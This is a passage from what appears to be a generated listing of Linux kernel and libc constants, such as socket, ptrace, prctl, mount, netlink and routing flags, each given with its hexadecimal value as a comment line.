-- IPV6_ADD_MEMBERSHIP = 0x14
-- IPV6_AUTHHDR = 0xa
-- IPV6_CHECKSUM = 0x7
-- IPV6_DONTFRAG = 0x3e
-- IPV6_DROP_MEMBERSHIP = 0x15
-- IPV6_DSTOPTS = 0x3b
-- IPV6_HDRINCL = 0x24
-- IPV6_HOPLIMIT = 0x34
-- IPV6_HOPOPTS = 0x36
-- IPV6_IPSEC_POLICY = 0x22
-- IPV6_JOIN_ANYCAST = 0x1b
-- IPV6_JOIN_GROUP = 0x14
-- IPV6_LEAVE_ANYCAST = 0x1c
-- IPV6_LEAVE_GROUP = 0x15
-- IPV6_MTU = 0x18
-- IPV6_MTU_DISCOVER = 0x17
-- IPV6_MULTICAST_HOPS = 0x12
-- IPV6_MULTICAST_IF = 0x11
-- IPV6_MULTICAST_LOOP = 0x13
-- IPV6_NEXTHOP = 0x9
-- IPV6_PATHMTU = 0x3d
-- IPV6_PKTINFO = 0x32
-- IPV6_PMTUDISC_DO = 0x2
-- IPV6_PMTUDISC_DONT = 0x0
-- IPV6_PMTUDISC_INTERFACE = 0x4
-- IPV6_PMTUDISC_OMIT = 0x5
-- IPV6_PMTUDISC_PROBE = 0x3
-- IPV6_PMTUDISC_WANT = 0x1
-- IPV6_RECVDSTOPTS = 0x3a
-- IPV6_RECVERR = 0x19
-- IPV6_RECVHOPLIMIT = 0x33
-- IPV6_RECVHOPOPTS = 0x35
-- IPV6_RECVPATHMTU = 0x3c
-- IPV6_RECVPKTINFO = 0x31
-- IPV6_RECVRTHDR = 0x38
-- IPV6_RECVTCLASS = 0x42
-- IPV6_ROUTER_ALERT = 0x16
-- IPV6_RTHDR = 0x39
-- IPV6_RTHDRDSTOPTS = 0x37
-- IPV6_RTHDR_LOOSE = 0x0
-- IPV6_RTHDR_STRICT = 0x1
-- IPV6_RTHDR_TYPE_0 = 0x0
-- IPV6_RXDSTOPTS = 0x3b
-- IPV6_RXHOPOPTS = 0x36
-- IPV6_TCLASS = 0x43
-- IPV6_UNICAST_HOPS = 0x10
-- IPV6_V6ONLY = 0x1a
-- IPV6_XFRM_POLICY = 0x23
-- IP_ADD_MEMBERSHIP = 0x23
-- IP_ADD_SOURCE_MEMBERSHIP = 0x27
-- IP_BIND_ADDRESS_NO_PORT = 0x18
-- IP_BLOCK_SOURCE = 0x26
-- IP_CHECKSUM = 0x17
-- IP_DEFAULT_MULTICAST_LOOP = 0x1
-- IP_DEFAULT_MULTICAST_TTL = 0x1
-- IP_DF = 0x4000
-- IP_DROP_MEMBERSHIP = 0x24
-- IP_DROP_SOURCE_MEMBERSHIP = 0x28
-- IP_FREEBIND = 0xf
-- IP_HDRINCL = 0x3
-- IP_IPSEC_POLICY = 0x10
-- IP_MAXPACKET = 0xffff
-- IP_MAX_MEMBERSHIPS = 0x14
-- IP_MF = 0x2000
-- IP_MINTTL = 0x15
-- IP_MSFILTER = 0x29
-- IP_MSS = 0x240
-- IP_MTU = 0xe
-- IP_MTU_DISCOVER = 0xa
-- IP_MULTICAST_ALL = 0x31
-- IP_MULTICAST_IF = 0x20
-- IP_MULTICAST_LOOP = 0x22
-- IP_MULTICAST_TTL = 0x21
-- IP_NODEFRAG = 0x16
-- IP_OFFMASK = 0x1fff
-- IP_OPTIONS = 0x4
-- IP_ORIGDSTADDR = 0x14
-- IP_PASSSEC = 0x12
-- IP_PKTINFO = 0x8
-- IP_PKTOPTIONS = 0x9
-- IP_PMTUDISC = 0xa
-- IP_PMTUDISC_DO = 0x2
-- IP_PMTUDISC_DONT = 0x0
-- IP_PMTUDISC_INTERFACE = 0x4
-- IP_PMTUDISC_OMIT = 0x5
-- IP_PMTUDISC_PROBE = 0x3
-- IP_PMTUDISC_WANT = 0x1
-- IP_RECVERR = 0xb
-- IP_RECVOPTS = 0x6
-- IP_RECVORIGDSTADDR = 0x14
-- IP_RECVRETOPTS = 0x7
-- IP_RECVTOS = 0xd
-- IP_RECVTTL = 0xc
-- IP_RETOPTS = 0x7
-- IP_RF = 0x8000
-- IP_ROUTER_ALERT = 0x5
-- IP_TOS = 0x1
-- IP_TRANSPARENT = 0x13
-- IP_TTL = 0x2
-- IP_UNBLOCK_SOURCE = 0x25
-- IP_UNICAST_IF = 0x32
-- IP_XFRM_POLICY = 0x11
-- ISIG = 0x1
-- ISTRIP = 0x20
-- IUCLC = 0x200
-- IUTF8 = 0x4000
-- IXANY = 0x800
-- IXOFF = 0x1000
-- IXON = 0x400
-- KEYCTL_ASSUME_AUTHORITY = 0x10
-- KEYCTL_CHOWN = 0x4
-- KEYCTL_CLEAR = 0x7
-- KEYCTL_DESCRIBE = 0x6
-- KEYCTL_DH_COMPUTE = 0x17
-- KEYCTL_GET_KEYRING_ID = 0x0
-- KEYCTL_GET_PERSISTENT = 0x16
-- KEYCTL_GET_SECURITY = 0x11
-- KEYCTL_INSTANTIATE = 0xc
-- KEYCTL_INSTANTIATE_IOV = 0x14
-- KEYCTL_INVALIDATE = 0x15
-- KEYCTL_JOIN_SESSION_KEYRING = 0x1
-- KEYCTL_LINK = 0x8
-- KEYCTL_NEGATE = 0xd
-- KEYCTL_READ = 0xb
-- KEYCTL_REJECT = 0x13
-- KEYCTL_REVOKE = 0x3
-- KEYCTL_SEARCH = 0xa
-- KEYCTL_SESSION_TO_PARENT = 0x12
-- KEYCTL_SETPERM = 0x5
-- KEYCTL_SET_REQKEY_KEYRING = 0xe
-- KEYCTL_SET_TIMEOUT = 0xf
-- KEYCTL_UNLINK = 0x9
-- KEYCTL_UPDATE = 0x2
-- KEY_REQKEY_DEFL_DEFAULT = 0x0
-- KEY_REQKEY_DEFL_GROUP_KEYRING = 0x6
-- KEY_REQKEY_DEFL_NO_CHANGE = -0x1
-- KEY_REQKEY_DEFL_PROCESS_KEYRING = 0x2
-- KEY_REQKEY_DEFL_REQUESTOR_KEYRING = 0x7
-- KEY_REQKEY_DEFL_SESSION_KEYRING = 0x3
-- KEY_REQKEY_DEFL_THREAD_KEYRING = 0x1
-- KEY_REQKEY_DEFL_USER_KEYRING = 0x4
-- KEY_REQKEY_DEFL_USER_SESSION_KEYRING = 0x5
-- KEY_SPEC_GROUP_KEYRING = -0x6
-- KEY_SPEC_PROCESS_KEYRING = -0x2
-- KEY_SPEC_REQKEY_AUTH_KEY = -0x7
-- KEY_SPEC_REQUESTOR_KEYRING = -0x8
-- KEY_SPEC_SESSION_KEYRING = -0x3
-- KEY_SPEC_THREAD_KEYRING = -0x1
-- KEY_SPEC_USER_KEYRING = -0x4
-- KEY_SPEC_USER_SESSION_KEYRING = -0x5
-- LINUX_REBOOT_CMD_CAD_OFF = 0x0
-- LINUX_REBOOT_CMD_CAD_ON = 0x89abcdef
-- LINUX_REBOOT_CMD_HALT = 0xcdef0123
-- LINUX_REBOOT_CMD_KEXEC = 0x45584543
-- LINUX_REBOOT_CMD_POWER_OFF = 0x4321fedc
-- LINUX_REBOOT_CMD_RESTART = 0x1234567
-- LINUX_REBOOT_CMD_RESTART2 = 0xa1b2c3d4
-- LINUX_REBOOT_CMD_SW_SUSPEND = 0xd000fce2
-- LINUX_REBOOT_MAGIC1 = 0xfee1dead
-- LINUX_REBOOT_MAGIC2 = 0x28121969
-- LOCK_EX = 0x2
-- LOCK_NB = 0x4
-- LOCK_SH = 0x1
-- LOCK_UN = 0x8
-- MADV_DODUMP = 0x11
-- MADV_DOFORK = 0xb
-- MADV_DONTDUMP = 0x10
-- MADV_DONTFORK = 0xa
-- MADV_DONTNEED = 0x4
-- MADV_FREE = 0x8
-- MADV_HUGEPAGE = 0xe
-- MADV_HWPOISON = 0x64
-- MADV_MERGEABLE = 0xc
-- MADV_NOHUGEPAGE = 0xf
-- MADV_NORMAL = 0x0
-- MADV_RANDOM = 0x1
-- MADV_REMOVE = 0x9
-- MADV_SEQUENTIAL = 0x2
-- MADV_UNMERGEABLE = 0xd
-- MADV_WILLNEED = 0x3
-- MAP_ANON = 0x20
-- MAP_ANONYMOUS = 0x20
-- MAP_DENYWRITE = 0x800
-- MAP_EXECUTABLE = 0x1000
-- MAP_FILE = 0x0
-- MAP_FIXED = 0x10
-- MAP_GROWSDOWN = 0x100
-- MAP_HUGETLB = 0x40000
-- MAP_HUGE_MASK = 0x3f
-- MAP_HUGE_SHIFT = 0x1a
-- MAP_LOCKED = 0x2000
-- MAP_NONBLOCK = 0x10000
-- MAP_NORESERVE = 0x4000
-- MAP_POPULATE = 0x8000
-- MAP_PRIVATE = 0x2
-- MAP_SHARED = 0x1
-- MAP_STACK = 0x20000
-- MAP_TYPE = 0xf
-- MCL_CURRENT = 0x1
-- MCL_FUTURE = 0x2
-- MCL_ONFAULT = 0x4
-- MNT_DETACH = 0x2
-- MNT_EXPIRE = 0x4
-- MNT_FORCE = 0x1
-- MSG_BATCH = 0x40000
-- MSG_CMSG_CLOEXEC = 0x40000000
-- MSG_CONFIRM = 0x800
-- MSG_CTRUNC = 0x8
-- MSG_DONTROUTE = 0x4
-- MSG_DONTWAIT = 0x40
-- MSG_EOR = 0x80
-- MSG_ERRQUEUE = 0x2000
-- MSG_FASTOPEN = 0x20000000
-- MSG_FIN = 0x200
-- MSG_MORE = 0x8000
-- MSG_NOSIGNAL = 0x4000
-- MSG_OOB = 0x1
-- MSG_PEEK = 0x2
-- MSG_PROXY = 0x10
-- MSG_RST = 0x1000
-- MSG_SYN = 0x400
-- MSG_TRUNC = 0x20
-- MSG_TRYHARD = 0x4
-- MSG_WAITALL = 0x100
-- MSG_WAITFORONE = 0x10000
-- MS_ACTIVE = 0x40000000
-- MS_ASYNC = 0x1
-- MS_BIND = 0x1000
-- MS_BORN = 0x20000000
-- MS_DIRSYNC = 0x80
-- MS_INVALIDATE = 0x2
-- MS_I_VERSION = 0x800000
-- MS_KERNMOUNT = 0x400000
-- MS_LAZYTIME = 0x2000000
-- MS_MANDLOCK = 0x40
-- MS_MGC_MSK = 0xffff0000
-- MS_MGC_VAL = 0xc0ed0000
-- MS_MOVE = 0x2000
-- MS_NOATIME = 0x400
-- MS_NODEV = 0x4
-- MS_NODIRATIME = 0x800
-- MS_NOEXEC = 0x8
-- MS_NOREMOTELOCK = 0x8000000
-- MS_NOSEC = 0x10000000
-- MS_NOSUID = 0x2
-- MS_NOUSER = -0x80000000
-- MS_POSIXACL = 0x10000
-- MS_PRIVATE = 0x40000
-- MS_RDONLY = 0x1
-- MS_REC = 0x4000
-- MS_RELATIME = 0x200000
-- MS_REMOUNT = 0x20
-- MS_RMT_MASK = 0x2800051
-- MS_SHARED = 0x100000
-- MS_SILENT = 0x8000
-- MS_SLAVE = 0x80000
-- MS_STRICTATIME = 0x1000000
-- MS_SYNC = 0x4
-- MS_SYNCHRONOUS = 0x10
-- MS_UNBINDABLE = 0x20000
-- MS_VERBOSE = 0x8000
-- NAME_MAX = 0xff
-- NETLINK_ADD_MEMBERSHIP = 0x1
-- NETLINK_AUDIT = 0x9
-- NETLINK_BROADCAST_ERROR = 0x4
-- NETLINK_CAP_ACK = 0xa
-- NETLINK_CONNECTOR = 0xb
-- NETLINK_CRYPTO = 0x15
-- NETLINK_DNRTMSG = 0xe
-- NETLINK_DROP_MEMBERSHIP = 0x2
-- NETLINK_ECRYPTFS = 0x13
-- NETLINK_FIB_LOOKUP = 0xa
-- NETLINK_FIREWALL = 0x3
-- NETLINK_GENERIC = 0x10
-- NETLINK_INET_DIAG = 0x4
-- NETLINK_IP6_FW = 0xd
-- NETLINK_ISCSI = 0x8
-- NETLINK_KOBJECT_UEVENT = 0xf
-- NETLINK_LISTEN_ALL_NSID = 0x8
-- NETLINK_LIST_MEMBERSHIPS = 0x9
-- NETLINK_NETFILTER = 0xc
-- NETLINK_NFLOG = 0x5
-- NETLINK_NO_ENOBUFS = 0x5
-- NETLINK_PKTINFO = 0x3
-- NETLINK_RDMA = 0x14
-- NETLINK_ROUTE = 0x0
-- NETLINK_RX_RING = 0x6
-- NETLINK_SCSITRANSPORT = 0x12
-- NETLINK_SELINUX = 0x7
-- NETLINK_SOCK_DIAG = 0x4
-- NETLINK_TX_RING = 0x7
-- NETLINK_UNUSED = 0x1
-- NETLINK_USERSOCK = 0x2
-- NETLINK_XFRM = 0x6
-- NL0 = 0x0
-- NL1 = 0x100
-- NLA_ALIGNTO = 0x4
-- NLA_F_NESTED = 0x8000
-- NLA_F_NET_BYTEORDER = 0x4000
-- NLA_HDRLEN = 0x4
-- NLDLY = 0x100
-- NLMSG_ALIGNTO = 0x4
-- NLMSG_DONE = 0x3
-- NLMSG_ERROR = 0x2
-- NLMSG_HDRLEN = 0x10
-- NLMSG_MIN_TYPE = 0x10
-- NLMSG_NOOP = 0x1
-- NLMSG_OVERRUN = 0x4
-- NLM_F_ACK = 0x4
-- NLM_F_APPEND = 0x800
-- NLM_F_ATOMIC = 0x400
-- NLM_F_CREATE = 0x400
-- NLM_F_DUMP = 0x300
-- NLM_F_DUMP_FILTERED = 0x20
-- NLM_F_DUMP_INTR = 0x10
-- NLM_F_ECHO = 0x8
-- NLM_F_EXCL = 0x200
-- NLM_F_MATCH = 0x200
-- NLM_F_MULTI = 0x2
-- NLM_F_REPLACE = 0x100
-- NLM_F_REQUEST = 0x1
-- NLM_F_ROOT = 0x100
-- NOFLSH = 0x80
-- OCRNL = 0x8
-- OFDEL = 0x80
-- OFILL = 0x40
-- OLCUC = 0x2
-- ONLCR = 0x4
-- ONLRET = 0x20
-- ONOCR = 0x10
-- OPOST = 0x1
-- O_ACCMODE = 0x3
-- O_APPEND = 0x400
-- O_ASYNC = 0x2000
-- O_CLOEXEC = 0x80000
-- O_CREAT = 0x40
-- O_DIRECT = 0x10000
-- O_DIRECTORY = 0x4000
-- O_DSYNC = 0x1000
-- O_EXCL = 0x80
-- O_FSYNC = 0x101000
-- O_LARGEFILE = 0x0
-- O_NDELAY = 0x800
-- O_NOATIME = 0x40000
-- O_NOCTTY = 0x100
-- O_NOFOLLOW = 0x8000
-- O_NONBLOCK = 0x800
-- O_PATH = 0x200000
-- O_RDONLY = 0x0
-- O_RDWR = 0x2
-- O_RSYNC = 0x101000
-- O_SYNC = 0x101000
-- O_TMPFILE = 0x404000
-- O_TRUNC = 0x200
-- O_WRONLY = 0x1
-- PACKET_ADD_MEMBERSHIP = 0x1
-- PACKET_AUXDATA = 0x8
-- PACKET_BROADCAST = 0x1
-- PACKET_COPY_THRESH = 0x7
-- PACKET_DROP_MEMBERSHIP = 0x2
-- PACKET_FANOUT = 0x12
-- PACKET_FANOUT_CBPF = 0x6
-- PACKET_FANOUT_CPU = 0x2
-- PACKET_FANOUT_DATA = 0x16
-- PACKET_FANOUT_EBPF = 0x7
-- PACKET_FANOUT_FLAG_DEFRAG = 0x8000
-- PACKET_FANOUT_FLAG_ROLLOVER = 0x1000
-- PACKET_FANOUT_HASH = 0x0
-- PACKET_FANOUT_LB = 0x1
-- PACKET_FANOUT_QM = 0x5
-- PACKET_FANOUT_RND = 0x4
-- PACKET_FANOUT_ROLLOVER = 0x3
-- PACKET_FASTROUTE = 0x6
-- PACKET_HDRLEN = 0xb
-- PACKET_HOST = 0x0
-- PACKET_KERNEL = 0x7
-- PACKET_LOOPBACK = 0x5
-- PACKET_LOSS = 0xe
-- PACKET_MR_ALLMULTI = 0x2
-- PACKET_MR_MULTICAST = 0x0
-- PACKET_MR_PROMISC = 0x1
-- PACKET_MR_UNICAST = 0x3
-- PACKET_MULTICAST = 0x2
-- PACKET_ORIGDEV = 0x9
-- PACKET_OTHERHOST = 0x3
-- PACKET_OUTGOING = 0x4
-- PACKET_QDISC_BYPASS = 0x14
-- PACKET_RECV_OUTPUT = 0x3
-- PACKET_RESERVE = 0xc
-- PACKET_ROLLOVER_STATS = 0x15
-- PACKET_RX_RING = 0x5
-- PACKET_STATISTICS = 0x6
-- PACKET_TIMESTAMP = 0x11
-- PACKET_TX_HAS_OFF = 0x13
-- PACKET_TX_RING = 0xd
-- PACKET_TX_TIMESTAMP = 0x10
-- PACKET_USER = 0x6
-- PACKET_VERSION = 0xa
-- PACKET_VNET_HDR = 0xf
-- PARENB = 0x100
-- PARITY_CRC16_PR0 = 0x2
-- PARITY_CRC16_PR0_CCITT = 0x4
-- PARITY_CRC16_PR1 = 0x3
-- PARITY_CRC16_PR1_CCITT = 0x5
-- PARITY_CRC32_PR0_CCITT = 0x6
-- PARITY_CRC32_PR1_CCITT = 0x7
-- PARITY_DEFAULT = 0x0
-- PARITY_NONE = 0x1
-- PARMRK = 0x8
-- PARODD = 0x200
-- PENDIN = 0x4000
-- PERF_EVENT_IOC_DISABLE = 0x2401
-- PERF_EVENT_IOC_ENABLE = 0x2400
-- PERF_EVENT_IOC_ID = 0x80082407
-- PERF_EVENT_IOC_PAUSE_OUTPUT = 0x40042409
-- PERF_EVENT_IOC_PERIOD = 0x40082404
-- PERF_EVENT_IOC_REFRESH = 0x2402
-- PERF_EVENT_IOC_RESET = 0x2403
-- PERF_EVENT_IOC_SET_BPF = 0x40042408
-- PERF_EVENT_IOC_SET_FILTER = 0x40082406
-- PERF_EVENT_IOC_SET_OUTPUT = 0x2405
-- PRIO_PGRP = 0x1
-- PRIO_PROCESS = 0x0
-- PRIO_USER = 0x2
-- PROT_EXEC = 0x4
-- PROT_GROWSDOWN = 0x1000000
-- PROT_GROWSUP = 0x2000000
-- PROT_NONE = 0x0
-- PROT_READ = 0x1
-- PROT_WRITE = 0x2
-- PR_CAPBSET_DROP = 0x18
-- PR_CAPBSET_READ = 0x17
-- PR_CAP_AMBIENT = 0x2f
-- PR_CAP_AMBIENT_CLEAR_ALL = 0x4
-- PR_CAP_AMBIENT_IS_SET = 0x1
-- PR_CAP_AMBIENT_LOWER = 0x3
-- PR_CAP_AMBIENT_RAISE = 0x2
-- PR_ENDIAN_BIG = 0x0
-- PR_ENDIAN_LITTLE = 0x1
-- PR_ENDIAN_PPC_LITTLE = 0x2
-- PR_FPEMU_NOPRINT = 0x1
-- PR_FPEMU_SIGFPE = 0x2
-- PR_FP_EXC_ASYNC = 0x2
-- PR_FP_EXC_DISABLED = 0x0
-- PR_FP_EXC_DIV = 0x10000
-- PR_FP_EXC_INV = 0x100000
-- PR_FP_EXC_NONRECOV = 0x1
-- PR_FP_EXC_OVF = 0x20000
-- PR_FP_EXC_PRECISE = 0x3
-- PR_FP_EXC_RES = 0x80000
-- PR_FP_EXC_SW_ENABLE = 0x80
-- PR_FP_EXC_UND = 0x40000
-- PR_FP_MODE_FR = 0x1
-- PR_FP_MODE_FRE = 0x2
-- PR_GET_CHILD_SUBREAPER = 0x25
-- PR_GET_DUMPABLE = 0x3
-- PR_GET_ENDIAN = 0x13
-- PR_GET_FPEMU = 0x9
-- PR_GET_FPEXC = 0xb
-- PR_GET_FP_MODE = 0x2e
-- PR_GET_KEEPCAPS = 0x7
-- PR_GET_NAME = 0x10
-- PR_GET_NO_NEW_PRIVS = 0x27
-- PR_GET_PDEATHSIG = 0x2
-- PR_GET_SECCOMP = 0x15
-- PR_GET_SECUREBITS = 0x1b
-- PR_GET_THP_DISABLE = 0x2a
-- PR_GET_TID_ADDRESS = 0x28
-- PR_GET_TIMERSLACK = 0x1e
-- PR_GET_TIMING = 0xd
-- PR_GET_TSC = 0x19
-- PR_GET_UNALIGN = 0x5
-- PR_MCE_KILL = 0x21
-- PR_MCE_KILL_CLEAR = 0x0
-- PR_MCE_KILL_DEFAULT = 0x2
-- PR_MCE_KILL_EARLY = 0x1
-- PR_MCE_KILL_GET = 0x22
-- PR_MCE_KILL_LATE = 0x0
-- PR_MCE_KILL_SET = 0x1
-- PR_MPX_DISABLE_MANAGEMENT = 0x2c
-- PR_MPX_ENABLE_MANAGEMENT = 0x2b
-- PR_SET_CHILD_SUBREAPER = 0x24
-- PR_SET_DUMPABLE = 0x4
-- PR_SET_ENDIAN = 0x14
-- PR_SET_FPEMU = 0xa
-- PR_SET_FPEXC = 0xc
-- PR_SET_FP_MODE = 0x2d
-- PR_SET_KEEPCAPS = 0x8
-- PR_SET_MM = 0x23
-- PR_SET_MM_ARG_END = 0x9
-- PR_SET_MM_ARG_START = 0x8
-- PR_SET_MM_AUXV = 0xc
-- PR_SET_MM_BRK = 0x7
-- PR_SET_MM_END_CODE = 0x2
-- PR_SET_MM_END_DATA = 0x4
-- PR_SET_MM_ENV_END = 0xb
-- PR_SET_MM_ENV_START = 0xa
-- PR_SET_MM_EXE_FILE = 0xd
-- PR_SET_MM_MAP = 0xe
-- PR_SET_MM_MAP_SIZE = 0xf
-- PR_SET_MM_START_BRK = 0x6
-- PR_SET_MM_START_CODE = 0x1
-- PR_SET_MM_START_DATA = 0x3
-- PR_SET_MM_START_STACK = 0x5
-- PR_SET_NAME = 0xf
-- PR_SET_NO_NEW_PRIVS = 0x26
-- PR_SET_PDEATHSIG = 0x1
-- PR_SET_PTRACER = 0x59616d61
-- PR_SET_PTRACER_ANY = -0x1
-- PR_SET_SECCOMP = 0x16
-- PR_SET_SECUREBITS = 0x1c
-- PR_SET_THP_DISABLE = 0x29
-- PR_SET_TIMERSLACK = 0x1d
-- PR_SET_TIMING = 0xe
-- PR_SET_TSC = 0x1a
-- PR_SET_UNALIGN = 0x6
-- PR_TASK_PERF_EVENTS_DISABLE = 0x1f
-- PR_TASK_PERF_EVENTS_ENABLE = 0x20
-- PR_TIMING_STATISTICAL = 0x0
-- PR_TIMING_TIMESTAMP = 0x1
-- PR_TSC_ENABLE = 0x1
-- PR_TSC_SIGSEGV = 0x2
-- PR_UNALIGN_NOPRINT = 0x1
-- PR_UNALIGN_SIGBUS = 0x2
-- PTRACE_ATTACH = 0x10
-- PTRACE_CONT = 0x7
-- PTRACE_DETACH = 0x11
-- PTRACE_EVENT_CLONE = 0x3
-- PTRACE_EVENT_EXEC = 0x4
-- PTRACE_EVENT_EXIT = 0x6
-- PTRACE_EVENT_FORK = 0x1
-- PTRACE_EVENT_SECCOMP = 0x7
-- PTRACE_EVENT_STOP = 0x80
-- PTRACE_EVENT_VFORK = 0x2
-- PTRACE_EVENT_VFORK_DONE = 0x5
-- PTRACE_GETEVENTMSG = 0x4201
-- PTRACE_GETREGS = 0xc
-- PTRACE_GETREGSET = 0x4204
-- PTRACE_GETSIGINFO = 0x4202
-- PTRACE_GETSIGMASK = 0x420a
-- PTRACE_INTERRUPT = 0x4207
-- PTRACE_KILL = 0x8
-- PTRACE_LISTEN = 0x4208
-- PTRACE_O_EXITKILL = 0x100000
-- PTRACE_O_MASK = 0x3000ff
-- PTRACE_O_SUSPEND_SECCOMP = 0x200000
-- PTRACE_O_TRACECLONE = 0x8
-- PTRACE_O_TRACEEXEC = 0x10
-- PTRACE_O_TRACEEXIT = 0x40
-- PTRACE_O_TRACEFORK = 0x2
-- PTRACE_O_TRACESECCOMP = 0x80
-- PTRACE_O_TRACESYSGOOD = 0x1
-- PTRACE_O_TRACEVFORK = 0x4
-- PTRACE_O_TRACEVFORKDONE = 0x20
-- PTRACE_PEEKDATA = 0x2
-- PTRACE_PEEKSIGINFO = 0x4209
-- PTRACE_PEEKSIGINFO_SHARED = 0x1
-- PTRACE_PEEKTEXT = 0x1
-- PTRACE_PEEKUSR = 0x3
-- PTRACE_POKEDATA = 0x5
-- PTRACE_POKETEXT = 0x4
-- PTRACE_POKEUSR = 0x6
-- PTRACE_SECCOMP_GET_FILTER = 0x420c
-- PTRACE_SEIZE = 0x4206
-- PTRACE_SETOPTIONS = 0x4200
-- PTRACE_SETREGS = 0xd
-- PTRACE_SETREGSET = 0x4205
-- PTRACE_SETSIGINFO = 0x4203
-- PTRACE_SETSIGMASK = 0x420b
-- PTRACE_SINGLESTEP = 0x9
-- PTRACE_SYSCALL = 0x18
-- PTRACE_TRACEME = 0x0
-- RLIMIT_AS = 0x9
-- RLIMIT_CORE = 0x4
-- RLIMIT_CPU = 0x0
-- RLIMIT_DATA = 0x2
-- RLIMIT_FSIZE = 0x1
-- RLIMIT_LOCKS = 0xa
-- RLIMIT_MEMLOCK = 0x8
-- RLIMIT_MSGQUEUE = 0xc
-- RLIMIT_NICE = 0xd
-- RLIMIT_NOFILE = 0x7
-- RLIMIT_NPROC = 0x6
-- RLIMIT_RSS = 0x5
-- RLIMIT_RTPRIO = 0xe
-- RLIMIT_RTTIME = 0xf
-- RLIMIT_SIGPENDING = 0xb
-- RLIMIT_STACK = 0x3
-- RLIM_INFINITY = -0x1
-- RTAX_ADVMSS = 0x8
-- RTAX_CC_ALGO = 0x10
-- RTAX_CWND = 0x7
-- RTAX_FEATURES = 0xc
-- RTAX_FEATURE_ALLFRAG = 0x8
-- RTAX_FEATURE_ECN = 0x1
-- RTAX_FEATURE_MASK = 0xf
-- RTAX_FEATURE_SACK = 0x2
-- RTAX_FEATURE_TIMESTAMP = 0x4
-- RTAX_HOPLIMIT = 0xa
-- RTAX_INITCWND = 0xb
-- RTAX_INITRWND = 0xe
-- RTAX_LOCK = 0x1
-- RTAX_MAX = 0x10
-- RTAX_MTU = 0x2
-- RTAX_QUICKACK = 0xf
-- RTAX_REORDERING = 0x9
-- RTAX_RTO_MIN = 0xd
-- RTAX_RTT = 0x4
-- RTAX_RTTVAR = 0x5
-- RTAX_SSTHRESH = 0x6
-- RTAX_UNSPEC = 0x0
-- RTAX_WINDOW = 0x3
-- RTA_ALIGNTO = 0x4
-- RTA_MAX = 0x19
-- RTCF_DIRECTSRC = 0x4000000
-- RTCF_DOREDIRECT = 0x1000000
-- RTCF_LOG = 0x2000000
-- RTCF_MASQ = 0x400000
-- RTCF_NAT = 0x800000
-- RTCF_VALVE = 0x200000
-- RTF_ADDRCLASSMASK = 0xf8000000
-- RTF_ADDRCONF = 0x40000
-- RTF_ALLONLINK = 0x20000
-- RTF_BROADCAST = 0x10000000
-- RTF_CACHE = 0x1000000
-- RTF_DEFAULT = 0x10000
-- RTF_DYNAMIC = 0x10
-- RTF_FLOW = 0x2000000
-- RTF_GATEWAY = 0x2
-- RTF_HOST = 0x4
-- RTF_INTERFACE = 0x40000000
-- RTF_IRTT = 0x100
-- RTF_LINKRT = 0x100000
-- RTF_LOCAL = 0x80000000
-- RTF_MODIFIED = 0x20
-- RTF_MSS = 0x40
-- RTF_MTU = 0x40
-- RTF_MULTICAST = 0x20000000
-- RTF_NAT = 0x8000000
-- RTF_NOFORWARD = 0x1000
-- RTF_NONEXTHOP = 0x200000
-- RTF_NOPMTUDISC = 0x4000
-- RTF_POLICY = 0x4000000
-- RTF_REINSTATE = 0x8
-- RTF_REJECT = 0x200
-- RTF_STATIC = 0x400
-- RTF_THROW = 0x2000
-- RTF_UP = 0x1
-- RTF_WINDOW = 0x80
-- RTF_XRESOLVE = 0x800
-- RTM_BASE = 0x10
-- RTM_DELACTION = 0x31
-- RTM_DELADDR = 0x15
-- RTM_DELADDRLABEL = 0x49
-- RTM_DELLINK = 0x11
-- RTM_DELMDB = 0x55
-- RTM_DELNEIGH = 0x1d
-- RTM_DELNSID = 0x59
-- RTM_DELQDISC = 0x25
-- RTM_DELROUTE = 0x19
-- RTM_DELRULE = 0x21
-- RTM_DELTCLASS = 0x29
-- RTM_DELTFILTER = 0x2d
-- RTM_F_CLONED = 0x200
-- RTM_F_EQUALIZE = 0x400
-- RTM_F_LOOKUP_TABLE = 0x1000
-- RTM_F_NOTIFY = 0x100
-- RTM_F_PREFIX = 0x800
-- RTM_GETACTION = 0x32
-- RTM_GETADDR = 0x16
-- RTM_GETADDRLABEL = 0x4a
-- RTM_GETANYCAST = 0x3e
-- RTM_GETDCB = 0x4e
-- RTM_GETLINK = 0x12
-- RTM_GETMDB = 0x56
-- RTM_GETMULTICAST = 0x3a
-- RTM_GETNEIGH = 0x1e
-- RTM_GETNEIGHTBL = 0x42
-- RTM_GETNETCONF = 0x52
-- RTM_GETNSID = 0x5a
-- RTM_GETQDISC = 0x26
-- RTM_GETROUTE = 0x1a
-- RTM_GETRULE = 0x22
-- RTM_GETSTATS = 0x5e
-- RTM_GETTCLASS = 0x2a
-- RTM_GETTFILTER = 0x2e
-- RTM_MAX = 0x5f
-- RTM_NEWACTION = 0x30
-- RTM_NEWADDR = 0x14
-- RTM_NEWADDRLABEL = 0x48
-- RTM_NEWLINK = 0x10
-- RTM_NEWMDB = 0x54
-- RTM_NEWNDUSEROPT = 0x44
-- RTM_NEWNEIGH = 0x1c
-- RTM_NEWNEIGHTBL = 0x40
-- RTM_NEWNETCONF = 0x50
-- RTM_NEWNSID = 0x58
-- RTM_NEWPREFIX = 0x34
-- RTM_NEWQDISC = 0x24
-- RTM_NEWROUTE = 0x18
-- RTM_NEWRULE = 0x20
-- RTM_NEWSTATS = 0x5c
-- RTM_NEWTCLASS = 0x28
-- RTM_NEWTFILTER = 0x2c
-- RTM_NR_FAMILIES = 0x14
-- RTM_NR_MSGTYPES = 0x50
-- RTM_SETDCB = 0x4f
-- RTM_SETLINK = 0x13
-- RTM_SETNEIGHTBL = 0x43
-- RTNH_ALIGNTO = 0x4
-- RTNH_COMPARE_MASK = 0x19
-- RTNH_F_DEAD = 0x1
-- RTNH_F_LINKDOWN = 0x10
-- RTNH_F_OFFLOAD = 0x8
-- RTNH_F_ONLINK = 0x4
-- RTNH_F_PERVASIVE = 0x2
-- RTN_MAX = 0xb
-- RTPROT_BABEL = 0x2a
-- RTPROT_BIRD = 0xc
-- RTPROT_BOOT = 0x3
-- RTPROT_DHCP = 0x10
-- RTPROT_DNROUTED = 0xd
-- RTPROT_GATED = 0x8
-- RTPROT_KERNEL = 0x2
-- RTPROT_MROUTED = 0x11
-- RTPROT_MRT = 0xa
-- RTPROT_NTK = 0xf
-- RTPROT_RA = 0x9
-- RTPROT_REDIRECT = 0x1
-- RTPROT_STATIC = 0x4
-- RTPROT_UNSPEC = 0x0
-- RTPROT_XORP = 0xe
-- RTPROT_ZEBRA = 0xb
